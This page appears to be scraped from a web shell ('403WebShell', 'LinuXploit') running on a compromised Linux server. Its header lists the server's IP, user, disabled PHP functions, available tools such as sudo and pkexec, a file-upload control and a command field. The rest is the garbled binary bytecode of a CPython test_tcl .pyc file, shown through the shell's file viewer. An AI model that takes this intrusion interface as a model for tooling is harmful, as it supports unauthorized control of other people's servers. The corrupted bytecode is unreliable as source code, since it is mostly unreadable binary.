Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_tcl.cpython-310.pyc
o

�9j*~�@s0ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddl	mZe
�d�Z
ddlZddlmZddl
mZz
ddlmZmZWney[ejZZYnweeee
j�d	���Zdad
d�ZGdd
�d
ej�ZGdd�dej�Z Gdd�dej�Z!dd�Z"e#dkr�e�$�dSdS)�N)�support)�
import_helper)�	os_helper�_tkinter)�Tcl)�TclError)�INT_MAX�PY_SSIZE_T_MAX�.cCs�tdurEt�}|�dd�}t�d|�}|��\}}}}t|�t|�t|�}}}dddd�|}|dkr>||||dfatS||d||fatS)	N�info�
patchlevelz(\d+)\.(\d+)([ab.])(\d+)�alpha�beta�final)�a�br
r)�_tk_patchlevelr�call�re�	fullmatch�groups�int)�tclr�m�major�minor�releaselevel�serial�r�$/usr/lib/python3.10/test/test_tcl.py�get_tk_patchlevels�r c@seZdZdd�ZdS)�TkinterTestcCsF|�ttjd�|�ttji�|�ttjd�|�ttjdh�dS)NT�string�set)�assertRaises�	TypeErrorr�_flatten��selfrrr�testFlattenLen-szTkinterTest.testFlattenLenN)�__name__�
__module__�__qualname__r)rrrrr!+sr!c@s|eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Ze�e j!d7kd8�d9d:��Z"d;d<�Z#d=d>�Z$d?d@�Z%dAdB�Z&e�e'dCkdD�dEdF��Z(dGdH�Z)dIdJ�Z*dKdL�Z+dMdN�Z,dOdP�Z-dQdR�Z.dSdT�Z/e0j1dUdV��Z2dWS)X�TclTestcCst�|_|jj��|_dS�N)r�interp�tk�wantobjectsr'rrr�setUp:sz
TclTest.setUpcCs&|j}|�d�|�|�d�d�dS)N�set a 1�set a�1)r/�eval�assertEqual�r(rrrr�testEval>�
zTclTest.testEvalcC�|j}|�|�d�d�dS)Nzset a "a\0b"�ab)r/r7r6r8rrr�test_eval_null_in_resultC�z TclTest.test_eval_null_in_resultcCr;)Nzset a "<\ud83d\udcbb>"�<💻>)r/�assertInr6r8rrr�test_eval_surrogates_in_resultGr>z&TclTest.test_eval_surrogates_in_resultcC�|j}|�t|jd�dS)Nr4�r/r$rr6r8rrr�testEvalExceptionK�zTclTest.testEvalExceptioncCrB)Nz
this is wrongrCr8rrr�testEvalException2OrEzTclTest.testEvalException2cCs,|j}|�ddd�|�|�dd�d�dS)Nr#rr5)r/rr7r8rrr�testCallSszTclTest.testCallcCs|j}|�t|jdd�dS)Nr#r�r/r$rrr8rrr�testCallExceptionXr>zTclTest.testCallExceptioncCs|j}|�t|jddd�dS)N�this�is�wrongrHr8rrr�testCallException2\szTclTest.testCallException2cC�(|j}|�dd�|�|�d�d�dS)Nrr5r4�r/�setvarr7r6r8rrr�
testSetVar`�zTclTest.testSetVarcCrN)N�a(1)r5zset a(1)rOr8rrr�testSetVarArrayerRzTclTest.testSetVarArraycC�&|j}|�d�|�|�d�d�dS)Nr3rr5�r/r6r7�getvarr8rrr�
testGetVarjr:zTclTest.testGetVarcCrU)Nz
set a(1) 1rSr5rVr8rrr�testGetVarArrayor:zTclTest.testGetVarArraycCrB�Nr�r/r$rrWr8rrr�testGetVarExceptiontrEzTclTest.testGetVarExceptioncCrB)NrSr[r8rrr�testGetVarArrayExceptionxrEz TclTest.testGetVarArrayExceptioncCsD|j}|�dd�|�|�d�d�|�d�|�|�d�d�dS)Nr�z
info exists ar5�0�r/rPr7r6�unsetvarr8rrr�testUnsetVar|s

zTclTest.testUnsetVarcCst|j}|�dd�|�dd�|�|�d�d�|�|�d�d�|�d�|�|�d�d�|�|�d�d�dS)	NrSr^za(2)�zinfo exists a(1)r5zinfo exists a(2)r_r`r8rrr�testUnsetVarArray�s
zTclTest.testUnsetVarArraycCrBrZ)r/r$rrar8rrr�testUnsetVarException�rEzTclTest.testUnsetVarExceptioncCsRd}tdkr't�}|dksd|krdkr'n|S|dddd	dd	f7}|S)
N)	rr^���i���i�ll����l����l�������)rh�rr)rhrirh)rhrjll����rc��)�tcl_versionr )r(�integers�vrrr�get_integers�s�zTclTest.get_integersc	Cs0|jj}|��D]6}|�|�d|�|�tdkr$|�|�d|�|�|�|�d|�dd��|�|�|�d|�|�qtdkrO|�t|jt	dd��|�|�d	�d	�|�t
|j�|�t
|jd
d�|�t
|jd�|�t
|jd
�|�t|jd�|�t
ttf|jd�|�tttf|jd�dS)Nz %d rgz %#o �o�z %#x rcrk�*�42�10s42�E@rz42u42�)
r/r0ror7�getintrl�replacer$r�strr%�
ValueError�UnicodeEncodeError)r(r�irrr�test_getint�s*��zTclTest.test_getintcCs�|jj}|�|�d�d�|�|�d�d�|�|�d�d�|�|�d�d�|�t|j�|�t|jdd�|�t|jd�|�t|jd	�|�tttf|jd
�|�tttf|jd�dS)Nz 42 ruz 42.5 g@E@rrz42.5rts42.5rz42.5u42.5�)	r/r0r7�	getdoubler$r%rryrzr8rrr�test_getdouble�s��zTclTest.test_getdoublecCs�|jj}|�|�d�d�|�|�d�d�|�|�d�d�|�|�d�d�|�t|j�|�t|jdd�|�t|jd�|�t|jd�|�t|jd	�|�tttf|jd
�|�tttf|jd�dS)N�onTr5rrrFson��?rzonuon�)	r/r0�assertIs�
getbooleanr$r%rryrzr8rrr�test_getboolean�s ��zTclTest.test_getbooleancCs�|j}tj}|�tj|�t|d��
}|�d�Wd�n1s"wY|�|�|�|�	d�d�|�|�	d�d�|�|�	d�d�dS)	N�wzKset a 1
            set b 2
            set c [ expr $a + $b ]
            r4r5�set b�2zset c�3�
r/r�TESTFN_ASCII�
addCleanup�unlink�open�write�evalfiler7r6�r(r�filename�frrr�testEvalFile�s�
zTclTest.testEvalFilecCs�|j}tj}|�tj|�t|d��
}|�d�Wd�n1s"wY|�|�|�|�	d�d�|�|�	d�d�dS)Nr�z>
            set a "ab"
            set b "a\0b"
            r4r<r�r�r�rrr�test_evalfile_null_in_result�s�
z$TclTest.test_evalfile_null_in_resultcCs�|j}|�dd�}|�|jdd|�|�ddd�tj}|�tj|�t|d��
}|�d�Wd�n1s8wY|�|�|�	|�
d�d�|�	|�
d�d�dS)	N�encoding�systemzutf-8�wbsM
            set a "<��>"
            set b "<\ud83d\udcbb>"
            r4r?r�)r/rr�rr�r�r�r�r�r7r6)r(rr�r�r�rrr�"test_evalfile_surrogates_in_result�s�
z*TclTest.test_evalfile_surrogates_in_resultc
CsR|j}d}zt�|�Wnty}zWYd}~nd}~ww|�t|j|�dS)N�
doesnotexists)r/�os�remove�	Exceptionr$rr�)r(rr��errr�testEvalFileException�s��zTclTest.testEvalFileExceptioncCrB)Nzpackage require DNErCr8rrr�testPackageRequireExceptionrEz#TclTest.testPackageRequireException�win32zRequires WindowscCs�tj�tj�}|ddkrt�d��dtjd|d|dd�f}tj�|�s-t�d��t	�
��}|�d	�t�
|d
dg�}Wd�n1sIwY|�d|�dS)
Nr^�:z$Absolute path should have drive partz\\%s\%s$\%s�COMPUTERNAMEr�zCannot connect to UNC Path�TCL_LIBRARY�-czimport tkinter; print(tkinter)stkinter)r��path�abspath�sys�
executable�unittest�SkipTest�environ�existsr�EnvironmentVarGuard�unset�
subprocess�check_outputr@)r(�fullname�unc_name�env�stdoutrrr�testLoadWithUNC
s 


�


��zTclTest.testLoadWithUNCcsL�j���ddd���ddd���fdd�}��t�j���t�jdd	���t�jd
���t�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd �|d!d�|d"d#�|d$d#�|d%d&�|d'd(�|d)d(�|d*d+�td,kr�|d-td.��dSdS)/Nr#rr�rrjc�&��|�}��||���|t�dSr.)�
exprstringr7�assertIsInstancerx��expr�expected�resultr8rr�check$�
z&TclTest.test_exprstring.<locals>.check�8.2�+6�8.2 + 6�spamrqr_�8.2 + 6z14.2�3.1 + $az6.1�2 + "$a.$b"z5.6�4*[llength "6 2"]�8�{word one} < "word $a"�4*2 < 7�hypot($a, 4)z5.0�5 / 4r5�5 / 4.0z1.25�$5 / ( [string length "abcd"] + 0.0 )�20.0/5.0z4.0�"0x03" > "2"�[string length "a½€"]r��[string length "a\xbd\u20ac"]�"abc"�abcu"a½€"ua½€z
"a\xbd\u20ac"z"a\0b"r<rg�2**64�)r/rr$r%r�rrlrx�r(r�rr8r�test_exprstring s<


















�zTclTest.test_exprstringcs4�j���ddd���ddd���fdd�}��t�j���t�jdd	���t�jd
���t�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd �|d!d�|d"d#�|d$d#���t�jd%�td&kr�|d'td(��dSdS))Nr#rr�rrjcr�r.)�
exprdoubler7r��floatr�r8rrr�Gr�z&TclTest.test_exprdouble.<locals>.checkr�r�r�r�rq�r�gffffff,@r�gffffff@r�gffffff@r�g @r�r�r�g@r�r�r�g�?r�r�g@r�r�g@r�r�rgr�r�)r/rr$r%r�rrlr�r�rr8r�test_exprdoubleCs6














�zTclTest.test_exprdoublecs6�j���ddd���ddd���fdd�}��t�j���t�jdd	���t�jd
���t�jd�|dd
�|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd�|dd�|dd�|d d���t�jd!�td"kr���t�jd#�dSdS)$Nr#rr�rrjcr�r.)�exprlongr7r�rr�r8rrr�gr�z$TclTest.test_exprlong.<locals>.checkr�r�r�r�rqrr��r�r�rir�rhr�r�r�r�r^r�r�r��r�r�r�r�rgr�)r/rr$r%r�rrlr�rr8r�
test_exprlongcs6














�zTclTest.test_exprlongcs��j���ddd���ddd���fdd�}��t�j���t�jdd	���t�jd
���t�jd�|dd
�dD]}||d
�|d|d
�|d|d
�q?dD]}||d�|d|d�|d|d�qW|dd�|dd�|dd�|dd�|dd
�|dd
�|dd�|dd�|dd�|dd�|dd�|dd�|dd�|d d���t�jd!�td"kr�|d#d�dSdS)$Nr#rr�rrjcs2��|�}��||���|t���|t�dSr.)�exprbooleanr7r�r�assertNotIsInstance�boolr�r8rrr��s
z'TclTest.test_exprboolean.<locals>.checkr�r�r�r�rqF)r_�false�no�offz"%s"z{%s})r5�true�yesrTr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rgr�)r/rr$r%r�rrl)r(r��valuerr8r�test_exprboolean�sF
















�zTclTest.test_exprbooleanrgzrequires Tcl version >= 8.5csh�j���fdd�}|dd�|dd�|dd�|dd�|d	d�|d
d�|dd�|dd�dS)
NcsX��d|�}���r��||���|t�dS��||tt|��f���|t�dS)Nr�)rr1r7r�rr@rxr�r8rrr��sz$TclTest.test_booleans.<locals>.checkr�Tr�rr�Fr�r�z1 < 2z1 > 2)r/r�rr8r�
test_booleans�s






zTclTest.test_booleanscCs�|j}|��D](}|�dt|��}|jr!|�||�|�|t�q|�|t|��|�|t�qt�dkrD|�	t
|jdtdd��dSdS)Nr�rgrcrk)r/rorrxr1r7r�rr r$r)r(rr{r�rrr�test_expr_bignum�s
�zTclTest.test_expr_bignumcs��fdd�}��|d��jrdnd���|d��jrdnd���|d�d���|d�d���|d	�d	���|d
�d
���|d�d���|d�d���|d
�d
�tjdkrm��|d�d���|d�d���|d��jrwdnd
���|d��jr�dnd���|d��jr�dnd����D]}��||��jr�|nt|��q�tdkr���|dd�tdd��ddddtjjtjj	tjjtjj	fD]}�jrވ�||�|�qЈ�t
||��|�qЈj�r|t
d��}��||���|t
d ��t
d ����|t
d ��t
d ��n��t
|t
d ���t
d ����t
|t
d ���t
d ����|d!��j�r=d!nd"���|d#d$d%gg��j�rRd&�dSd'�dS)(Ncs�j�dd|�S)Nr#�_)r/r�r�r'rr�	passValue�sz.TclTest.test_passing_values.<locals>.passValueTr5Fr_r"�	string€�
string💻�string�	string½�
string€ustring💻r��<���>�<€>�<������>r?�string�str��ing�
strÀ€ingsstr�ingustr½ingrgrcrkr�r����UUUUUU�?�nan�inf�r^r���333333@z1 2 3.4rr�c�r)rr�a {b c})r7r1r��platformrorxrl�
float_info�min�maxr��assertNotEqual)r(r�r{r�rr'r�test_passing_values�sl
�

�
�
�
�
� � 
�
��zTclTest.test_passing_valuescs�d��fdd�}�j�d|����jjjd�d1�jd���fdd�}�fdd�}|d	d
�|dd�|d
�|d�|d�|d�tjdkrS|dd�|dd�|d�|dd
�|dd�|dd�|dd�|d�|d�|d�|dd�|d d!�|d"d#����D]	}||t	|��q�t
d$kr�|d%d&t	d%d&��d'D]	}||t|��q�d(tjj
tjjtjj
tjjfD]}|||d�q�|td)�|d�|td)�|d�|d*d�|d+d,�|d-d%gd.d/gd0ggd,�dS)2Ncs|�|Sr.r)�arg)r�rr�testfuncsz+TclTest.test_user_command.<locals>.testfuncr)�eqcsN|dur|}d��j�d|�}���t�|�|���|t�|||�dS)Nr)r/rr�rx)r�r�r�r�r�r(rrr�s
z(TclTest.test_user_command.<locals>.checkcs �jt|�|t|�dd�dS)Ng�����|�=)�delta)�assertAlmostEqualr��abs)�actualr�r'rr�float_eqs

�z+TclTest.test_user_command.<locals>.float_eqTr5Fr_r"ustring½r�r�r�r�r�r�r?rqsstrings	string€ustring€sstring��r�r�r�r�r�r�sstr��ing€ustrÀ€ing€rgrcrk)r�r�r�r�r�r)r^)rc)r�r��5 6rz1 2 {3 4} {5 6} {}r^r�r�rr.)r/�
createcommandr�r0�
deletecommandr7r�rrorxrl�reprrrrr�)r(rr�rr{r�rrr�test_user_command�sR












�

zTclTest.test_user_commandc	Cs,|jjj}|jjj}|�t|�|�t|dd�|�t|d�dddddd	d
ddd
ddddddddddgdfdddggdddgff|dddd�|jrLdndfg}t�}td krq|jr^|d!krad"}nd#}||d$d%d&d'd(d�|fg7}d)|jt|f}|D]\}}|�	||�|d*||f�q{|�t
|d+�dS),Nrrrc)r�)r�)rqr)�{}�rq)�""r�z
a
 b	
 c
 �rrr�s
a
 b	
 c
 r�ua €�r�€)ua 💻�ru💻�sa €r!)sa 💻r#)sa ��r#�s	a��b c��d)r<zcd)r�r�b c)�a b\ cr&)r&r&�za 2)rr���rrcr+�za 3.4)r�3.4��rrr/�rrrr�listr^r�r�r��r5r�r-rg�rhriri��12r"u€r-��r"�€r��dict�creater7r"r8z4want objects? %s, Tcl version: %s, Tk patchlevel: %sz
arg=%a, %s�{)r/r0�	splitlistrr$r%r1r rlr7r)	r(r<r�	testcases�
tk_patchlevelr��dbg_infor
�resrrr�test_splitlist9sd


����
�
�zTclTest.test_splitlistcCsj|jjj}|jjj}t���$t�ddt�|�t	|�|�t	|dd�|�t	|d�Wd�n1s5wYdddd	d
ddd
ddddddddddddddgdfddgdfdddggdf|d d!d"d#�|j
rjd$nd%fg}td&kr�|j
rzt�d'kr}d(}nd)}||d*d+d,d-d.d#�|fg7}|D]#\}}|�
t��|j||�||d/�Wd�n1s�wYq�dS)0N�ignorez\bsplit\b.*\bsplitlist\brrrc)r�r�)rqrq)rrq)rrq)r;r;rrr r$)sa��br<r%)s
{a��b c��dz{ab cd)rr)r(r))rsb cr)r&rr)r*r,r.)�r)rcrrCr0rr'rrr1r^r�r�r�r2rgr3r4r6r9r:r7r"r8)�msg)r/r0�splitr�warnings�catch_warnings�filterwarnings�DeprecationWarningr$r%r1rlr �assertWarnsr7)r(rErr=r�r
r@rrr�
test_splitlsn


��

�������zTclTest.test_splitc
Cs@tj}|jj}d}|�|||d�dddd��|�|||�dddd��d}|�|||d�d	dd
d��|�|||�d	dd
d��|�t||d�|�t||d�|�d
dd	dddd�}|�|||�|jrgd	ndddd��t	dkr�|�dddd	dddd�}|jr�t
�dkr�dddd�}nd	ddd�}|�|||�|�dSdS)Nz#-a {1 2 3} -something foo status {}Fz1 2 3�foorq)�-a�
-something�status)r�	somethingrO)rM�r^rcr�rNrLrOrrQrz-a b -c )rMrr�r1rMrNrOrrgr9r:r3)�tkinter�
_splitdictr/r0r7r$�RuntimeErrorrr1rlr )r(�	splitdictrr
r�rrr�test_splitdict�sF
�
�
�
������zTclTest.test_splitdictcs�tj��jj��fdd�����fdd�}|d�|d�|d�|d�|d	�|d
�|d�|d�|d
�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�|d�dS)Ncs��d|d�S)N�lindexr)r)�s�rrr�unpack�sz!TclTest.test_join.<locals>.unpackcs�����|g��|�����|dg��|������|gg���|������|dgg���|������|gdg���|������|dgdg���|�dS)Nr)r7r�)�joinr(rZrrr��s$z TclTest.test_join.<locals>.checkrqr�zsp amzsp	amzsp
amz 	
z{spam}z{sp am}z"spam"z"sp am"z{"spam"}z"{spam}"zsp\amz"sp\am"z	"{}" "{}"z"\z"{z"}z
\z
{z
}z\
z{
z}
)rR�_joinr/r0r�r)r[r(rrZr�	test_join�s8zTclTest.test_joincCs.t�|tj�t�|tj�t�|tj�dSr.)r�check_disallow_instantiationr�Tcl_Obj�TkttType�	TkappTyper'rrr�test_new_tcl_obj�szTclTest.test_new_tcl_objN)3r*r+r,r2r9r=rArDrFrGrIrMrQrTrXrYr\r]rbrdreror|r~r�r�r�r�r�r�r��
skipUnlessr�rr�r�r�r�r�rlr�r�r	rrArKrVr]r�cpython_onlyrbrrrrr-8sZ

	
#  )

2:35#%r-c@s�eZdZdd�Zeje�ee	kd�ej
edddd�dd	����Zeje�ee	kd�ej
edd
dd�dd����Zeje�ee	kd�ej
edd
dd�dd����Z
dS)�
BigmemTclTestcCst�|_dSr.)rr/r'rrrr2�szBigmemTclTest.setUpzneeds UINT_MAX < SIZE_MAXr^riF)�size�memuse�dry_runcCs$d|}|�t|jjdd|d�dS)N� r"�indexr)r$�
OverflowErrorr/r)r(rfr�rrr�test_huge_string_call�sz#BigmemTclTest.test_huge_string_callrccCsT|jj}dd|}|�t|j|�|�t|j|�|�t|j|�|�t|j|�|�t|j|�|�t|j	|�|�t|j
|�|�t|j|dd�|�t|jd|d�|�t|j|�|�t|jd|�|�t|j
|�|�t|j
|�|�t|j|�|�t|j|�|�t|j|�|�t|j|�|�t|j|t�|�t|j|�dS)Nr5ri�xr)r/r0r$rkrvr}r�r6r��record�adderrorinforPrar�r�r�r<rErrr�r(rfr0r�rrr�test_huge_string_builtins�s*z'BigmemTclTest.test_huge_string_builtinsrjcCsJ|jj}dd|}|�t|j|�|�t|j|�|�t|jd|�dS)Nr5rirm)r/r0r$rkr�rarprrr�test_huge_string_builtins2s
z(BigmemTclTest.test_huge_string_builtins2N)r*r+r,r2rrdr�rcrr	�
bigmemtestrlrqrrrrrrre�srecCs&tjrt�}td|�dd��dSdS)Nzpatchlevel =rr)r�verboser�printrrYrrr�setUpModule!s�rv�__main__)%r��localerr�r�r�rF�testr�test.supportrr�
import_modulerrRrr�	_testcapirr	�ImportError�maxsize�tuple�mapr�TCL_VERSIONrErlrr �TestCaser!r-rervr*�mainrrrr�<module>sD
�
<2�

Youez - 2016 - github.com/yon3zu
LinuXploit